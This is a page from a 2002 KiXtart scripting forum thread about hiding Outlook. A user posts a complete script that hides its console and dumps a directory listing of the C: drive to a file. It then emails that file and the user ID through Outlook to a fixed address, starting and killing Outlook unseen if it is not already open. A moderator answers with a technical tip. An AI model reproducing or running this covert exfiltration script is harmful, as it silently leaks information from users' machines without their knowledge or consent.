Page 2 of 2 <12
Topic Options
#28614 - 2002-09-10 10:24 AM Re: hiding/stealthing outlook?
Lord_mithril Offline
Fresh Scripter

Registered: 2002-09-04
Posts: 26
dude i could kiss you [Big Grin]
it works... now just 1 more thing and its finally done [Smile] im hoping i can figure that one out on myself [Roll Eyes]

Top
#28615 - 2002-09-10 10:59 AM Re: hiding/stealthing outlook?
Lord_mithril Offline
Fresh Scripter

Registered: 2002-09-04
Posts: 26
if anyone is interested here is de complete source [Smile]
the program sends an "dir" from the C: drive or any other directory

code:
$adress = "mail@@provider.com"
$subject = "C:\ drive of @USERID"
$body = ""




$= SetConsole("HIDE")


Function FindPROC($PROC,optional $COMPUTER, optional $terminate)
Dim $GetObject, $Select
If NOT $computer $computer=@wksta EndIf
$GetObject="winmgmts:{impersonationLevel=impersonate}!//$COMPUTER"
$Select="select * from Win32_Process where Name='$PROC'"
For Each $Process in GetObject("$GetObject").ExecQuery("$select")
If $terminate $Process.Terminate EndIf
$FindPROC=$Process.ProcessId
Next
EndFunction


Shell "cmd.exe /c dir c:\ > c:\dir.txt"

If findproc("outlook.exe")


$Root = CreateObject("Outlook.Application")
$MailItem = $Root.CreateItem(0)
$MailItem.Importance=2
$MailItem.Subject = "$subject"
$MailItem.To = "$adress"
$MailItem.Body = "$body"
$MailItem.Attachments.Add("c:\dir.txt")
$MailItem.Send


Else

Run ("C:\Program Files\Microsoft Office\Office\OUTLOOK.EXE /recycle")
Sleep 0.2
$Root = CreateObject("Outlook.Application")
$MailItem = $Root.CreateItem(0)
$MailItem.Importance=2
$MailItem.Subject = "$subject"
$MailItem.To = "$adress"
$MailItem.Body = "$body"
$MailItem.Attachments.Add("c:\dir.txt")
$MailItem.Send
FindPROC("outlook.exe",,1)


EndIf
Exit

thnx for all the help guys :)couldnt have made it without you [Wink]

Top
#28616 - 2002-09-10 02:37 PM Re: hiding/stealthing outlook?
Radimus Moderator Offline
Moderator
*****

Registered: 2000-01-06
Posts: 5187
Loc: Tampa, FL
why do you have to open outook at all? the '$Root = CreateObject("Outlook.Application")' statement makes it's own instance of outlook whether it is open or not...
_________________________
How to ask questions the smart way <-----------> Before you ask

Top
#28617 - 2002-09-10 02:43 PM Re: hiding/stealthing outlook?
Lord_mithril Offline
Fresh Scripter

Registered: 2002-09-04
Posts: 26
not here [Frown]
i tried that but it would only work when outlook is already open... dont ask me why but it just doesnt work [Confused] [Confused]

Top
Page 2 of 2 <12


Moderator:  Jochen, Allen, Radimus, Glenn Barnas, ShaneEP, Ruud van Velsen, Arend_, Mart 
Hop to:
Shout Box

Who's Online
1 registered (Allen) and 457 anonymous users online.
Newest Members
MaikSimon, kvn317, kixtarts2025, SERoyalty, mytar
17872 Registered Users

Generated in 0.081 seconds in which 0.028 seconds were spent on a total of 12 queries. Zlib compression enabled.

Search the board with:
superb Board Search
or try with google:
Google
Web kixtart.org